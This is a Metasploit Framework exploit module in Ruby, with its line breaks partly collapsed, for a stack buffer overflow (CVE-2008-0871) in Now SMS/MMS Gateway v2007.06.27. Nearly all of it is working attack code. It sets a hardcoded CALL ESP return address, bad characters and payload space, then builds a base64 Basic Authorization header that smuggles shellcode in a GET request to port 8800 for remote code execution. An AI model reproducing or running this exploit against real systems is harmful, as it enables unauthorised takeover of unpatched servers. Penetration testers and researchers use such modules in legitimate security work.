### $Id: nowsms.rb 9262 2010-05-09 17:45:00Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,'Name' => 'Now SMS/MMS Gateway Buffer Overflow','Description'=> %q{
This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.
By sending a specially crafted GET request, an attacker may be able to execute
arbitrary code.},'Author' => ['MC'],'License'=> MSF_LICENSE,'Version'=> '$Revision: 9262 $','References' =>
[['CVE','2008-0871'],['OSVDB','42953'],['BID','27896'],],'DefaultOptions' =>
{'EXITFUNC' => 'thread',},'Privileged' => true,'Payload'=>
{'Space'=> 0x94,'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",'StackAdjustment' => -3500,},'Platform' => 'win','Targets'=>
[['Now SMS/MMS Gateway v2007.06.27',{'Ret' => 0x10002f9d }],# CALL ESP : SMSHMAC.DLL],'DefaultTarget'=> 0,'DisclosureDate' => 'Feb 19 2008'))
register_options([ Opt::RPORT(8800)], self.class)end
def exploit
c = connect
data = Rex::Text.encode_base64(rand_text_english(129)+[target.ret].pack('V')+ payload.encoded)
print_status("Trying target #{target.name}...")
res = send_request_raw({'uri'=> '/','method' => 'GET','headers'=>
{'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"}}, 5)
handler
endend